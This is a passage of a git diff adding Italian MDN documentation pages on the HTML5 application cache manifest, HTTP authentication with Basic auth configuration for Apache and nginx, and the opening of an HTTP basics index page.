+<p>L'attributo <code>manifest</code> in un'applicazione web può specificare sia il percorso relativo di un file cache manifest che un URL assoluto (gli URL assoluti devono provenire dalla stessa origine dell'applicazione). Un file cache manifest può avere diverse estensioni, ma come MIME type deve avere <code>text/cache-manifest</code>.</p>
+
+<div class="note"><strong>Nota: </strong>Sui server Apache, il MIME type per i file manifest (.appcache) può essere impostato aggiungendo <code>AddType text/cache-manifest .appcache</code> ad un file .htaccess posizionato nella cartella root, oppure nella stessa cartella dell'applicazione.</div>
+
+<h3 id="Le_voci_in_un_file_cache_manifest">Le voci in un file cache manifest</h3>
+
+<p>Il cache manifest è un semplice file di testo che elenca le risorse che il browser deve memorizzare per l'accesso offline. Le risorse sono identificate da un URI. Le voci elencate nel cache manifest devono avere lo stesso schema, host e porta come nel manifest.</p>
+
+<h3 id="Esempio_1_un_semplice_cache_manifest">Esempio 1: un semplice cache manifest</h3>
+
+<p>Il seguente è un semplice file di cache manifest, <code>example.appcache</code>, per un ipotetico sito web all'indirizzo <span class="nowiki">www.example.com</span>.</p>
+
+<pre>CACHE MANIFEST
+# v1 - 2011-08-13
+# This is a comment.
+<span class="nowiki">http://www.example.com/index.html</span>
+<span class="nowiki">http://www.example.com/header.png</span>
+<span class="nowiki">http://www.example.com/blah/blah</span>
+</pre>
+
+<p>Un file cache manifest può includere 3 sezioni (<code>CACHE</code>, <code>NETWORK</code>, e <code>FALLBACK</code>, verranno discusse in seguito). Nell'esempio qui sopra, non c'è una sezione header, quindi si assume che tutte le risorse siano elencate nell'esplicita sezione (<code>CACHE</code>), intendendo che il browser deve memorizzare nell'application cache tutte le risorse elencate. Le risorse possono essere specificate utilizzando sia URL assoluti che relativi (es. <code>index.html</code>).</p>
+
+<p>Il commento "v1" si trova lì per una buona ragione. I browser aggiornano  l'application cache solo se il file manifest viene modificato. Se una risorsa presente nella cache viene modificata (per esempio, viene aggiornata l'immagine <code>header.png</code> con un nuovo contenuto), bisogna anche cambiare il contenuto del file manifest per permettere ai browser di sapere che c'è bisogno di refreshare la cache. Si può effettuare qualsiasi modifica al file manifest, ma la best practice è modificare il numero di versione.</p>
+
+<div class="warning"><strong>Importante:</strong> Non includere mai il cache manifest tra le voci del file stesso, altrimenti verrà sempre prelevato dalla cache locale e sarà quasi impossibile informare il browser che un nuovo manifest è disponibile sul server.</div>
+
+<h3 id="Le_sezioni_di_un_file_cache_manifest_CACHE_NETWORK_e_FALLBACK">Le sezioni di un file cache manifest: <code>CACHE</code>, <code>NETWORK</code>, <code>e FALLBACK</code></h3>
+
+<p>Un manifest può avere 3 sezioni distine: <code>CACHE</code>, <code>NETWORK</code>, <code>e FALLBACK</code>.</p>
+
+<dl>
+ <dt><code>CACHE:</code></dt>
+ <dd>Questa è la sezione di default per le voci in un cache manifest. I files elencati sotto l'header della sezione <code>CACHE:</code> (oppure subito dopo la riga <code>CACHE MANIFEST</code>) sono esplicitamente memorizzati nella cache dopo che vengono scaricati per la prima volta.</dd>
+ <dt><code>NETWORK:</code></dt>
+ <dd>I files elencati sotto l'header della sezione <code>NETWORK:</code> sono risorse inserite in una white-list che richiedono una connessione al server. Tutte le richieste a queste risorse bypassano la cache, anche se l'utente è offline. È possibile utilizzare wildcards.</dd>
+ <dt><code>FALLBACK:</code></dt>
+ <dd>Nella sezione <code>FALLBACK:</code> vengono specificate le pagine alternative che il browser deve utilizzare nel caso una risorsa non sia accessibile. Ogni voce in questa sezione è composta da 2 URI - il primo è la risorsa, il secondo il fallback. Entrambi gli URI devono essere relativi e provenienti dalla stessa origine del file manifest. È possibile utilizzare wildcards.</dd>
+</dl>
+
+<p>Le sezioni <code>CACHE</code>, <code>NETWORK</code>, e <code>FALLBACK </code>possono essere elencate in qualsiasi ordine, ogni sezione può apparire più volte nello stesso cache manifest.</p>
+
+<h3 id="Example_2_un_cache_manifest_più_completo">Example 2: un cache manifest più completo</h3>
+
+<p>Il seguente è un esempio più completo di un cache manifest per un ipotetico sito web all'indirizzo <span class="nowiki">www.example.com</span>.</p>
+
+<pre>CACHE MANIFEST
+# v1 2011-08-14
+# This is another comment
+index.html
+cache.html
+style.css
+image1.png
+
+# Use from network if available
+NETWORK:
+network.html
+
+# Fallback content
+FALLBACK:
+/ fallback.html
+</pre>
+
+<p>Questo esempio utilizza le sezioni  <code>NETWORK</code> e <code>FALLBACK</code> per specificare che la pagina <code>network.html</code> deve essere sempre prelevata dalla rete e che la pagina <code>fallback.html</code> deve essere servita nel caso una risorsa non sia disponibile (es. nel caso sia impossibile stabilire una connessione col server).</p>
+
+<h3 id="Struttura_di_un_file_cache_manifest">Struttura di un file cache manifest</h3>
+
+<p>Un cache manifest deve essere servito con il MIME type <code>text/cache-manifest</code>. Tutte le risorse servite utilizzando questo MIME type devono seguire la sintassi per l'application cache manifest, come definito in questa sezione.</p>
+
+<p>I cache manifest sono file di testo in formato UTF-8 e possono opzionalmente contenere un carattere BOM. Gli a capo possono essere rappresentati dal line feed (<code>U+000A</code>), dal carriage return (<code>U+000D</code>), o da entrambi i caratteri.</p>
+
+<p>La prima riga del cache manifest deve obbligatoriamente essere la stringa <code>CACHE MANIFEST</code> (con un singolo spazio <code>U+0020</code> tra le due parole), seguita da zero o pià caratteri di tabulazione. Qualsiasi altro testo su questa riga verrà ignorato.</p>
+
+<p>Il resto del manifesto cache deve essere composto da zero o più delle seguenti righe:</p>
+
+<dl>
+ <dt>Righe vuote</dt>
+ <dd>È possibile utilizzare righe vuote composte da zero o più spazi e/o caratteri di tabulazione (tab).</dd>
+ <dt>Commenti</dt>
+ <dd>I commenti consistono in zero o più tab e/o spazi seguiti da un singolo carattere #, seguito da zero o più caratteri che compongono il testo del commento. Ogni riga di commento deve essere composta in questa maniera, non esiste una coppia di delimitatori inizio/fine per wrappare intere porzioni di codice.</dd>
+ <dt>Header della sezione</dt>
+ <dd>Gli header di sezione specificano quale sezione del cache manifest stiamo per manipolare. Ci sono 3 possibili tipi di header:</dd>
+</dl>
+
+<blockquote>
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Header di sezione</th>
+   <th>Descrizione</th>
+  </tr>
+  <tr>
+   <td><code>CACHE:</code></td>
+   <td>Sezione che definisce quali risorse memorizzare nella cache (questa è la sezione di default, se l'header non è specificato).</td>
+  </tr>
+  <tr>
+   <td><code>NETWORK:</code></td>
+   <td>Sezione che definisce quali risorse devono essere sempre scaricate dalla rete.</td>
+  </tr>
+  <tr>
+   <td><code>FALLBACK:</code></td>
+   <td>Sezione che definisce dei fallback nel caso una risorsa risulti non disponibile.</td>
+  </tr>
+ </tbody>
+</table>
+</blockquote>
+
+<dl>
+ <dd>L'header di sezione può includere spazi, ma deve includere i due punti (:) nel nome della sezione.</dd>
+ <dt>dati della sezione</dt>
+ <dd>Il formato per le righe di dati varia da sezione a sezione. In quella esplicita (<code>CACHE:</code>), ogni riga è un riferimento URI o IRI valido ad una risorsa da memorizzare nella cache (non è possibile utilizzare caretteri jolly in queste sezioni). Si possono inserire spazi vuoti prima o dopo l'URI o l'IRI. Nella sezione di fallback ogni riga è un riferimento URI o IRI valido ad una risorsa, seguito dalla risorsa di fallback che deve essere servita qualndo non si può stabilire una connessione col server. nella sezione network, ogni riga è un riferimento URI o IRI valido ad una risorsa da prelevare dalla rete. (In questa sezione è consentito utilizzare il carattere jolly *).
+ <div class="note"><strong>Note: </strong>Gli URI relativi sono relativi all'URI del cache manifest, non all'URI del documento che fa riferimento al cache manifest.</div>
+ </dd>
+</dl>
+
+<p>I file cache manifest possono passare da una sezione all'altra a piacimento (ogni header di sezione può essere utilizzato più di una volta), le sezioni possono anche essere vuote.</p>
+
+<h2 id="Risorse_nell'application_cache">Risorse nell'application cache</h2>
+
+<p>Un application cache include sempre almeno una risorsa, identificata da un URI. Tutte le risorse rientrano in una delle seguenti categorie:</p>
+
+<dl>
+ <dt>Master entries</dt>
+ <dd>Queste risorse sono aggiunte alla cache perchè sono legate ad una pagina che includeva l'attributo  <code>manifest</code>.</dd>
+ <dt>Explicit entries</dt>
+ <dd>Le risorse esplicitamente indicate nel cache manifest.</dd>
+ <dt>Network entries</dt>
+ <dd>Le risorse elencate nel file manifest dell'application cache che devono essere sempre recuperate dalla rete.</dd>
+ <dt>Fallback entries</dt>
+ <dd>Le risorse elencate nel file manifest che devono essere utilizzate come alternativa ad una risorsa non raggiungibile.</dd>
+</dl>
+
+<div class="note"><strong>Note:</strong> Una risorsa può rientrare in più categorie, per esempio può apparire sia nella sezione esplicita che in quella di fallback.</div>
+
+<p>Le categorie di risorse sono descritte in dettaglio qui di seguito.</p>
+
+<h3 id="Master_entries">Master entries</h3>
+
+<p>Le master entries sono un qualsiasi file HTML che include l'attributo {{htmlattrxref("manifest","html")}} nell'elemento {{HTMLElement("html")}}. Per esempio, diciamo che abbiamo il file HTML <code><a class="linkification-ext external" href="http://www.foo.bar/entry.html" title="Linkification: http://www.foo.bar/entry.html">http://www.example.com/entry.html</a></code>, composto in questa maniera:</p>
+
+<pre class="brush: html">&lt;html manifest="example.appcache"&gt;
+  &lt;h1&gt;Application Cache Example&lt;/h1&gt;
+&lt;/html&gt;
+</pre>
+
+<p>se <code>entry.html</code> non è elencato nel file cache manifest <code>example.appcache</code>, basta visitare la pagina per farla aggiungere all'application cache in qualità di master entry.</p>
+
+<h3 id="Explicit_entries">Explicit entries</h3>
+
+<p>Le Explicit entries sono le risorse esplicitamente elencate in una sezione <code>CACHE </code>del file cache manifest.</p>
+
+<h3 id="Network_entries">Network entries</h3>
+
+<p>La sezione <code>NETWORK</code> di un cache manifest, specifica le risorse dell'applicazione web che richiedono l'accesso online. Queste voci sono essenzialmente una "online whitelist" — le URI specificate nella sezione <code>NETWORK</code> sono sempre caricate dal server invece che dalla cache. In questo modo il modello di sicurezza del browser protegge l'utente da potenziali falle di sicurezza limitando l'accesso alle risorse approvate.</p>
+
+<p>Per esempio, si può utilizzare la lista delle risorse network per caricare ed eseguire script ed altro codice dal server invece che dalla cache:</p>
+
+<pre>CACHE MANIFEST
+NETWORK:
+/api
+</pre>
+
+<p>La sezione del cache manifest mostrata qui sopra assicura che tutte le richieste di files contenuti nella sottocartella <code><a href="http://www.example.com/api/" rel="freelink">http://www.example.com/api/</a></code> vengano sempre caricate dalla rete senza accedere alla cache.</p>
+
+<div class="note"><strong>Note</strong>: Omettere semplicemente le master entries (i files che contengono l'attributo <code>manifest</code> nell'elemento <code>html</code>) dal file manifest potrebbe non avere lo stesso risultato, perchè le master entries sarebbero scaricate solo la prima volta dalla rete, per poi essere aggiunte e prelevate dalla cache ai successivi accessi.</div>
+
+<h3 id="Fallback_entries">Fallback entries</h3>
+
+<p>Fallback entries sono utilizzate quando fallisce il tentativo di caricare una risorsa. Per esempio, diciamo che il cache manifest <code><a href="http://www.example.com/example.appcache" rel="freelink">http://www.example.com/example.appcache</a></code> includa il seguente contenuto:</p>
+
+<pre>CACHE MANIFEST
+FALLBACK:
+example/bar/ example.html
+</pre>
+
+<p>Qualsiasi richiesta a<code><a href="http://www.example.com/example/bar/" rel="freelink"> http://www.example.com/example/bar/</a></code> o a una qualsiasi delle sue sottocartelle ed il loro contenuto fa partire una richiesta newtwork per caricare la risorsa richiesta. Se il tentativo fallisce, a causa della connessione o di un qualsiasi errore del server, il browser carica il file <code>example.html</code> al suo posto.</p>
+
+<h2 id="Stati_della_cache">Stati della cache</h2>
+
+<p>Ogni application cache possiede uno <strong>stato</strong>, che indica la condizione corrente della cache. Le cache che condividono la stessa URI per il manifest, condividono anche lo stesso stato della cache, che può essere uno dei seguenti:</p>
+
+<dl>
+ <dt><code>UNCACHED</code></dt>
+ <dd>Un valore speciale che indica che l'oggetto application cache non è inizializzato completamente.</dd>
+ <dt><code>IDLE</code></dt>
+ <dd>L'application cache non è attualmente in fase di aggiornamento.</dd>
+ <dt><code>CHECKING</code></dt>
+ <dd>Il manifest è in fase di prelievo e controllo aggiornamenti.</dd>
+ <dt><code>DOWNLOADING</code></dt>
+ <dd>Le risorse sono in fase di scaricamento per essere aggiunte alla cache, a causa di una risorsa modificata nel manifest.</dd>
+ <dt><code>UPDATEREADY</code></dt>
+ <dd>C'è una nuova versione dell'application cache disponibile. C'è un evento corrispondente <code>updateready</code>, che è lanciato al posto dell'evento <code>cached</code> quando un nuovo aggiornamento è stato scaricato ma non ancora attivato tramite il metodo <code>swapCache()</code>.</dd>
+ <dt><code>OBSOLETE</code></dt>
+ <dd>Il gruppo application cache è obsoleto.</dd>
+</dl>
+
+<h2 id="Controllare_gli_aggiornamenti_per_il_cache_manifest">Controllare gli aggiornamenti per il cache manifest</h2>
+
+<p>Si può effettuare, attraverso JavaScript, un test per vedere se un'applicazione ha il cache manifest aggiornato. Dato che un cache manifest può essere stato aggiornato prima che uno script venga caricato ed attacchi un event listener per controllare gli aggiornamenti, gli script devono sempre utilizzare il test <code>window.applicationCache.status</code>.</p>
+
+<pre class="brush: js">function onUpdateReady() {
+  alert('found new version!');
+}
+window.applicationCache.addEventListener('updateready', onUpdateReady);
+if(window.applicationCache.status === window.applicationCache.UPDATEREADY) {
+  onUpdateReady();
+}</pre>
+
+<p>Per testare manualmente un nuovo file manifest, è possibile utilizzare <code>window.applicationCache.update()</code>.</p>
+
+<h2 id="Trappole_da_evitare_(aka_Gotchas)">Trappole da evitare (aka Gotchas)</h2>
+
+<ul>
+ <li>Non accedere mai ai file nella cache utilizzando i parametri tradizionali della  GET (es. <code>other-cached-page.html?parameterName=value</code>). In questo modo il browser ignorerà la cache e andrà a prendere il file dalla rete. Per linkare risorse nella cache che hanno parametri parsati in Javascript, utilizzare i parametri dopo l'hash (#), come per esempio: <code>other-cached-page.html#whatever?parameterName=value</code>.</li>
+ <li>Quando le applicazioni sono memorizzate nella cache, non è sufficiente aggiornare i files nella cache che sono utilizzati nella pagina web per aggiornarli. E' necessario aggiornare anche il file cache manifest stesso prima che il browser prelevi ed utilizzi i files aggiornati. Si può fare tramite programmazione utilizzando  <code>window.applicationCache.swapCache()</code>, <span id="result_box" lang="it"><span class="hps">anche se</span> <span class="hps">le risorse</span> <span class="hps">che sono state già</span> <span class="hps">caricate</span> <span class="hps">non saranno interessate</span></span>. <span id="result_box" lang="it"><span class="hps">Per assicurarsi</span> <span class="hps">che le risorse</span> <span class="hps">vengono caricate da</span> <span class="hps">una</span> <span class="hps">nuova versione della</span> <span class="hps">cache dell'applicazione</span><span>,</span> <span class="hps">ricaricare la pagina</span> <span class="hps">è l'ideale</span></span>.</li>
+ <li>Una buona prassi è quella di settare gli expires headers sul tuo web server per far sì che i files <code>*.appcache</code> scadano immediatamente. Questo evita il rischio di inserire nella cache il cache manifest stesso. Per esempio, su Apache è possibile impostare questo comportamento nella seguente:<br>
+  <code>ExpiresByType text/cache-manifest "access plus 0 seconds"</code></li>
+</ul>
+
+<h2 id="Compatibilità_con_i_browser">Compatibilità con i browser</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>4.0</td>
+   <td>3.5</td>
+   <td>10.0</td>
+   <td>10.6</td>
+   <td>4.0</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Mobile</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.1</td>
+   <td>{{CompatVersionUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>11.0</td>
+   <td>3.2</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<p>Nota: Le versioni di Firefox precedenti alla 3.5 ignorano le sezioni <code>NETWORK </code>e <code>FALLBACK </code>del file cache manifest.</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li><a href="http://www.html5rocks.com/en/tutorials/appcache/beginner/" title="http://www.html5rocks.com/en/tutorials/appcache/beginner/">HTML5Rocks - A Beginner's Guide to Using the Application Cache</a></li>
+ <li><a href="http://appcachefacts.info/" title="http://appcachefacts.info/">appcachefacts.info</a> - informazioni dettagliate delle idiosincrasie sull'AppCache</li>
+ <li><a href="http://alistapart.com/article/application-cache-is-a-douchebag" title="http://alistapart.com/article/application-cache-is-a-douchebag">A List Apart: Application Cache is a Douchebag</a>
+  <ul>
+   <li><a href="http://flailingmonkey.com/application-cache-not-a-douchebag" title="http://flailingmonkey.com/application-cache-not-a-douchebag">The Application Cache is no longer a Douchebag</a> - una panoramica sui tool di debug per l'app cache presenti in Firefox 23.</li>
+  </ul>
+ </li>
+ <li><a href="http://hacks.mozilla.org/2010/01/offline-web-applications/" title="http://hacks.mozilla.org/2010/01/offline-web-applications/">offline web applications</a> su hacks.mozilla.org - demo di un app offline e speigazione di come funziona.</li>
+ <li><a href="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline" title="http://www.whatwg.org/specs/web-apps/current-work/multipage/offline.html#offline">HTML 5 working draft: Offline web applications</a></li>
+ <li><a href="http://www.w3.org/TR/offline-webapps/" title="http://www.w3.org/TR/offline-webapps/">W3C Working Group Note: Offline Web Applications</a></li>
+ <li><a href="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage" title="http://developer.teradata.com/blog/js186040/2011/11/html5-cache-manifest-an-off-label-usage">HTML5 Cache Manifest: An Off-label Usage</a></li>
+ <li><a href="http://manifest-validator.com" title="http://manifest-validator.com">Cache Manifest Validator</a></li>
+ <li>{{interface("nsIApplicationCache")}}</li>
+ <li>{{interface("nsIApplicationCacheNamespace")}}</li>
+ <li>{{interface("nsIApplicationCacheContainer")}}</li>
+ <li>{{interface("nsIApplicationCacheChannel")}}</li>
+ <li>{{interface("nsIApplicationCacheService")}}</li>
+ <li>{{interface("nsIDOMOfflineResourceList")}}</li>
+ <li><a href="http://www.ibm.com/developerworks/web/library/wa-ffox3/">Get ready for Firefox 3.0 - A Web developer's guide to the many new features in this popular browser, especially the offline application features</a> (IBM developerWorks)</li>
+ <li><a href="/en-US/docs/Application_cache_implementation_overview" title="/en-US/docs/Application_cache_implementation_overview">Application cache implementation overview</a></li>
+</ul>
+
+<div>{{HTML5ArticleTOC}}</div>
diff --git a/files/it/web/http/authentication/index.html b/files/it/web/http/authentication/index.html
new file mode 100644
index 0000000000..243ef77fa9
--- /dev/null
+++ b/files/it/web/http/authentication/index.html
@@ -0,0 +1,134 @@
+---
+title: HTTP authentication
+slug: Web/HTTP/Authentication
+translation_of: Web/HTTP/Authentication
+---
+<div>{{HTTPSidebar}}</div>
+
+<p class="summary"><span class="seoSummary">HTTP fornisce un framework generico per il controllo degli accessi e l'autenticazione. Questa pagina è un'introduzione al framework HTTP per l'autenticazione, e mostra come limitare l'accesso al tuo server usando lo schema HTTP "Basic".</span></p>
+
+<h2 id="Il_generico_framework_di_autenticazione_HTTP">Il generico framework di autenticazione HTTP</h2>
+
+<p>{{RFC("7235")}} definisce il framework di autenticazione HTTP, che può essere usato da un server per {{glossary("challenge")}} una richiesta client, e da un client per fornire informazioni di autenticazione.</p>
+
+<p>I flussi di challenge e di risposta funzionano in questo modo:</p>
+
+<ol>
+ <li>Il server risponde ad un client con una risposta {{HTTPStatus("401")}} (Unauthorized) {{HTTPHeader("WWW-Authenticate")}} </li>
+ <li>Un client vuole autenticarsi con il server, può quindi farlo includendo un request header {{HTTPHeader("Authorization")}} con le credenziali</li>
+ <li>Il client di solito consegna una password prompt all'utente e poi emetterà la richiesta includendo il corretto <code>Authorization</code> header.</li>
+</ol>
+
+<p><img alt="A sequence diagram illustrating HTTP messages between a client and a server lifeline." src="https://mdn.mozillademos.org/files/14689/HTTPAuth.png" style="height: 335px; width: 710px;" title="Sequence Diagram of Client-server HTTP Authentication"></p>
+
+<p>In caso di un'autenticazione "Basic" mostrata come in figura, lo scambio deve avvenire su una connessione HTTPS per essere sicuro.</p>
+
+<h3 id="Autenticazione_proxy">Autenticazione proxy</h3>
+
+<p>Lo stesso meccanismo di domanda e risposta può essere utilizzato per l'autentificazione del proxy. Poiché sia ​​l'autenticazione delle risorse che l'autenticazione del proxy possono coesistere, è necessaria una nuova impostazione di headers e codici di stato.<br>
+ Nel caso dei proxy, il codice della challenge è 407(richiesta di autentificazione del proxy), l'intestazione della risposta di autentificazione del proxy cointiene almeno una challenge applicabile al proxy, e l'intestazione della richiesta dell'autentificazione del proxy è utilizzata per fornire le credenziali al server del proxy.</p>
+
+<h3 id="Accesso_negato">Accesso negato</h3>
+
+<p>Se un server(proxy) riceve delle credenziali valide che sono, però, inadeguate per accedere ad una determinata risorsa, il server risponderà con il codice di stato Forbidden 403. A differenza del 401 (non autorizzato) o del 407 (richiesta autentificazione proxy), l'autentificazione è impossibie per questo utente</p>
+
+<h3 id="Autenticazione_delle_immagini_cross-origin">Autenticazione delle immagini cross-origin</h3>
+
+<p>Un potenziale buco di sicurezza risolto recentemente dai browser è l'autenticazione delle immagini cross-site. Da Firefox 59 in avanti, le risorse delle immagini provenienti da origini diverse facenti parte di uno stesso documento non sono più in grado di innescare i dialoghi di autenticazione HTTP ({{bug(1423146)}}), impedendo che le credenziali degli utenti siano rubate se i malintenzionati fissero in grado di integrare un'immagine casuale in un una immagine di terze parti.</p>
+
+<h3 id="Codifica_dei_caratteri_dellautenticazione_HTTP">Codifica dei caratteri dell'autenticazione HTTP</h3>
+
+<p>I  browsers usano la codifica utf-8 per usarname e password.<br>
+ Firefox un tempo utilizzava ISO-8859-1, ma ora ha cambiato in utf-8 per essere alla pari con gli altri browsers e per evitare potenziali problemi come descritto nel bug 1419658</p>
+
+<h3 id="Gli_header_WWW-Authenticate_e_Proxy-Authenticate">Gli header WWW-Authenticate e Proxy-Authenticate</h3>
+
+<p>Le risposte del WWW-Authenticate e del Proxy-Authenticate definiscono l'autentificazione dei metodi che può essere utilizzata per guadagnare accessi ad una risorsa. Devono specificare quale schema di autentificazione è stato usato, in modo che il client che desidera autorizzare sa come fornire le credenziali.<br>
+ La sintassi per questi header è la seguente:</p>
+
+<pre class="syntaxbox notranslate">WWW-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+Proxy-Authenticate: &lt;type&gt; realm=&lt;realm&gt;
+</pre>
+
+<p>Qui, <code>&lt;type&gt;</code>è lo schema di autentificazione ("Basic" è loschema più comune e verrà introdotto sotto). Il realm è usato per descrivere l'area protetta o per indicare l'ambito della protezione. Questo può essere un messaggio del tipo:"Access to the staging site" o cose simili, in modo che l'utente sappia a quale spazio sta cercando di accedere</p>
+
+<h3 id="Gli_header_Authorization_e_Proxy-Authorization">Gli header Authorization e Proxy-Authorization</h3>
+
+<p>I request header {{HTTPHeader("Authorization")}} e {{HTTPHeader("Proxy-Authorization")}} contengono le credenziali per autenticare un utente con un server (proxy). Qui, il <code>&lt;type&gt;</code> dev'essere seguito dalle credenziali, che possono essere codificate o criptate in base a che schema di autenticazione venga usato.</p>
+
+<pre class="syntaxbox notranslate">Authorization: &lt;type&gt; &lt;credentials&gt;
+Proxy-Authorization: &lt;type&gt; &lt;credentials&gt;
+</pre>
+
+<h3 id="Schemi_di_autenticazione">Schemi di autenticazione</h3>
+
+<p>Il generico framwork di autenticazione HTTP è usato da parecchi schemi di autenticazione. Gli schemi possono differenziare in forza di sicurezza e la loro disponibilità nel software client o server.</p>
+
+<p>Lo schema di autenticazione più comune è lo schema di autenticazione "Basic", il quale sarà introdotto più in dettaglio al di sotto. IANA tiene una lista di schemi di autenticazione, ma ci sono altri schemi offerti dai servizi host, come ad esempio Amazon AWS. I comuni schemi di autenticazione includono:</p>
+
+<dl>
+ <dt><strong>Basic</strong></dt>
+ <dd>Vedi {{rfc(7617)}}, credenziali codificate in base64. Maggiori informazioni sotto.</dd>
+ <dt><strong>Bearer</strong></dt>
+ <dd>Vedi {{rfc(6750)}}, bearer tokens to access OAuth 2.0-protected resources</dd>
+ <dt><strong>Digest</strong></dt>
+ <dd>Vedi {{rfc(7616)}}, only md5 hashing is supported in Firefox, see {{bug(472823)}} for SHA encryption support</dd>
+ <dt><strong>HOBA</strong></dt>
+ <dd>Vedi {{rfc(7486)}}, Section 3, <strong>H</strong>TTP <strong>O</strong>rigin-<strong>B</strong>ound <strong>A</strong>uthentication, digital-signature-based</dd>
+ <dt><strong>Mutual</strong></dt>
+ <dd>Vedi {{rfc(8120)}}</dd>
+ <dt><strong>AWS4-HMAC-SHA256</strong></dt>
+ <dd>Vedi <a href="http://docs.aws.amazon.com/AmazonS3/latest/API/sigv4-auth-using-authorization-header.html">AWS docs</a></dd>
+</dl>
+
+<h2 id="Schema_di_autenticazione_di_base">Schema di autenticazione di base</h2>
+
+<p>Lo schema di autenticazione HTTP "Basic" è definito in {{rfc(7617)}}, che trasmette le credenziali come user ID/password, codificate usando base64.</p>
+
+<h3 id="Sicurezza_dellautenticazione_di_base">Sicurezza dell'autenticazione di base</h3>
+
+<p>Siccome l'user ID e la password passano sulla rete come testo (è codificato in base64, ma base64 è una codifica reversibile), lo schema di autenticazione di base <strong>non è sicuro</strong>. HTTPS/TLS dovrebbero essere usati con l'autenticazione di base. Senza questi aggiuntivi miglioramenti di sicurezza, l'autenticazione di base non dovrebbe essere usata per proteggere dati sensibili o informazioni preziose.</p>
+
+<h3 id="Laccesso_ristretto_con_Apache_and_lautenticazione_di_base">L'accesso ristretto con Apache and l'autenticazione di base</h3>
+
+<p>Per proteggere con password una cartella su un server Apapche, avrai bisogno di un file <code>.htaccess</code> e <code>.htpasswd</code> .</p>
+
+<p>il file <code>.htaccess</code> solitamente appare così:</p>
+
+<pre class="notranslate">AuthType Basic
+AuthName "Access to the staging site"
+AuthUserFile /path/to/.htpasswd
+Require valid-user</pre>
+
+<p>Il file <code>.htaccess</code> fa riferimento al file <code>.htpasswd</code> nel quale ogni riga è formata da username e password i quali sono separati da due punti (<code>:</code>). Non puoi vedere le password vere siccome vengono codificate (usando MD5-based hashing, in questo caso). Osserva che puoi nominare il tuo file <code>.htpasswd</code> diversamente se vuoi, ma ricordati che il file non dovrebbe essere accessibile a nessuno. (Solitamente Apache è configurato per impedire l'accesso ai file <code>.ht*</code>).</p>
+
+<pre class="notranslate">aladdin:$apr1$ZjTqBB3f$IF9gdYAGlMrs2fuINjHsz.
+user2:$apr1$O04r.y2H$/vEkesPhVInBByJUkXitA/
+</pre>
+
+<h3 id="Laccesso_ristretto_con_nginx_e_lautenticazione_di_base">L'accesso ristretto con nginx e l'autenticazione di base</h3>
+
+<p>Per nginx dovrai specificare un posto che proteggeri e le direttive auth_basic che forniscono il nome all'area protetta dalla password. La direttiva dell'auth_basic_user_file successivamente punterà al file .htpasswd contenente le credenziali dell'utente criptate, come l'esempio Apache sottostante:</p>
+
+<pre class="notranslate">location /status {
+    auth_basic           "Access to the staging site";
+    auth_basic_user_file /etc/apache2/.htpasswd;
+}</pre>
+
+<h3 id="Accesso_usando_le_credenziali_nellURL">Accesso usando le credenziali nell'URL</h3>
+
+<p>Parecchi client evitano il prompt login per mezzo di un URL codificato contenente lo username e la password in questo modo:</p>
+
+<pre class="example-bad notranslate">https://username:password@www.example.com/</pre>
+
+<p><strong>L'uso di questi URL è deprecato</strong>. In Chrome, la parte <code>username:password@</code> dell'URLs è  tolta per motivi di sicurezza. In Firefox, è controllata solo se veramente il sito richiede l'autenticazione, e, se no, Firefox avviserà lo user con un prompt "Stai per loggare nel sito "www.esempio.com" con lo username "username", ma il sito non richiede l'autenticazione. Questo potrebbe essere un tentativo di ingannarti."</p>
+
+<h2 id="Vedi_anche">Vedi anche</h2>
+
+<ul>
+ <li>{{HTTPHeader("WWW-Authenticate")}}</li>
+ <li>{{HTTPHeader("Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authorization")}}</li>
+ <li>{{HTTPHeader("Proxy-Authenticate")}}</li>
+ <li>{{HTTPStatus("401")}}, {{HTTPStatus("403")}}, {{HTTPStatus("407")}}</li>
+</ul>
diff --git a/files/it/web/http/basi_http/index.html b/files/it/web/http/basi_http/index.html
new file mode 100644
index 0000000000..cbb668f329
--- /dev/null
+++ b/files/it/web/http/basi_http/index.html
@@ -0,0 +1,48 @@
+---
+title: Le basi dell'HTTP
+slug: Web/HTTP/Basi_HTTP
+translation_of: Web/HTTP/Basics_of_HTTP
+---
+<div>{{HTTPSidebar}}</div>
+
+<p>HTTP è un protocollo espandibile che si basa su concetti come le risorse e gli URI (Uniform Resource Identifiers), la semplice struttura del messaggio, e il flusso di comunicazione client-server. Oltre a questi concetti di base, nel corso degli anni sono state sviluppate numerose estensioni che aggiungono funzionalità e semantica aggiornate con nuovi metodi HTTP o intestazioni.</p>
+
+<h2 id="Articoli">Articoli</h2>
+
+<dl>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Overview">Descrizione dell'HTTP</a></dt>
+ <dd>Descrive cos'è l'HTTP e il suo ruolo nell'architettura web, compresa la sua posizione nella pila dei protocolli.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Basics_of_HTTP/Evolution_of_HTTP">Evoluzione dell'HTTP</a></dt>
+ <dd>L'HTTP è stato creato all'inizio degli anni '90 ed è stato ampliato più volte. Questo articolo ripercorre la sua storia e descrive HTTP/0.9, HTTP/1.0, HTTP/1.1, e il moderno HTTP/2, oltre alle novità introdotte nel corso degli anni.</dd>
+ <dt><a href="https://developer.mozilla.org/en-US/docs/Web/HTTP/Resources_and_URIs">Risorse e URIs</a></dt>
